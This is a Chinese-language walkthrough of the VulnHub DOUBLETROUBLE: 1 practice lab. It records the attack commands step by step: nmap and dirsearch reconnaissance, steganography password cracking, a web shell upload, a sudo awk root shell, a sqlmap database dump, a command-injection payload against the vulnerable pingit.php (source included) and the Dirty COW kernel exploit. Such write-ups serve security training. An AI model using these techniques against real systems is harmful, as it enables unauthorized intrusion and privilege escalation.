VulnHub靶场之DOUBLETROUBLE: 1
vulnhub靶场doubletrouble
首先是下载镜像,然后用vmware打开,记得关闭usb,然后网络配置建议设置成桥接模式,然后需要指定桥接的网卡。需要用同样的方法,修改网卡信息,这样才能分配到ip
使用nmap进行扫描
sudo nmap -sP 192.168.[num1].1/24
/24表示那个网段1-254都扫描
然后对靶机的ip进行端口扫描
sudo nmap -P 192.168.[num1].[num2]
-sC 表示使用nmap脚本探测 -sV探测服务信息
-p-表示扫描全端口
扫出来开放了22和80端口
访问80端口可以看到一个网页
简单试一下admin这样的密码
找一下网上看看有没有默认密码
然后sqlmap试一下有没有注入
发现没啥用
然后
dirsearch -u http://192.168.2.9/
跑一下目录
其实用gobuster也行,但是自己得有好字典,不然还不如dirsearch
然后发现有若干cms常规路径
比较令人好奇的是secret目录
访问发现一张图
用steghide检测一下有没有隐写
steghide --info doubletrouble.jpg
发现有隐写后,用stegseek加上字典跑一下
mac上编译stegseek有点问题,我这用kali演示一下
gzip -d /usr/share/wordlists/rockyou.txt.gz
stegseek dooubletrouble.jpg rockyou.txt
发现账号和密码
otisrush@localhost.com
otis666
于是登陆看看
发现个人资料的位置有一个上传文件的地方
传一个冰蝎的shell看一下
找到我们刚才跑目录跑出来的uploads路径,看一下有没有新文件
发现我们上传的文件被重命名了
用冰蝎连接一下
可以看看基本的文件路径
然后虚拟终端连接一下,看一看文件
执行 sudo -l看一下权限信息
发现有个awk不用输密码
然后找了下awk的用法
sudo awk 'BEGIN {system("/bin/sh")}'
执行这个就能获得root权限
然后进/root目录发现有一个系统镜像
然后也没有别的线索了,就只能下载下来,在运行这个镜像
刚好符合题目doubletrouble
python3 -m http.server 1234
然后同样的方法发现第二台靶机的ip和端口
发现开放了22端口和80端口
访问网页看看
发现是一个表单
打算试试sqlmap
sqlmap -u "http://192.168.2.20/"
sqlmap -u "http://192.168.2.20/" -forms
sqlmap -u "http://192.168.2.20/" -forms -dbs
sqlmap -u "http://192.168.2.20/" -forms -D doubletrouble --tables
sqlmap -u "http://192.168.2.20/" -forms -D doubletrouble -T users --dump
之后得到两个用户名和密码
进行ssh尝试登录
登录进去后,我们首先看到了user.txt
然后我们简单看一下权限sudo -l
发现没有sudo
然后我们看一下网站的路径
会发现有两个页面
第二个页面pingit.php其实有命令执行漏洞,这个文件名可以从大字典跑出来,确定是有的。但是呢,他需要POST传两个参数。ip和submit
<?php
print $_POST['ip'];
if (isset($_POST['submit'])){
$target = $_REQUEST[ 'ip' ];
echo '<pre>';
echo shell_exec( 'ping -c 3 ' . $target );
echo '</pre>';
}
?>
那么为了利用其中的shell_exec函数,需要首先if判断为真,得随便给submit传一个值。但是用hackbar传submit参数有问题,如果直接submit=1是会报错的,那如果写成Submit=1网上有人说可以,但是在这里,大小写不一样,参数就变了。所以我选择用postman。ip=;ls&submit=1
即可。既然这个也能用,甚至不需要密码就可以反弹shell了。值得一提的是,www文件夹没有写权限
那么现在按照正常思路,需要提权
看一下
uname -a
然后searchsploit linux 3.2
发现可以用脏牛
很多个提示能用的,然后我这边直接说其中一个能用的
可以访问https://github.com/firefart/dirtycow/blob/master/dirty.c进行复制粘贴
然后靶机没有git,也不支持wget下载刚才说的这个链接。当然可以用别的方法,比如本地开http服务,或者用端口传文件。最简单的就是用vi编辑器或者nano编辑器,这里vim没装
然后按照注释
gcc -pthread dirty.c -o dirty -lcrypt
给生成的文件加一个执行权限
chmod +x dirty
然后执行他
./dirty
输入你设置的密码。等一会儿,然后切换用户
su firefart
cat /root/root.txt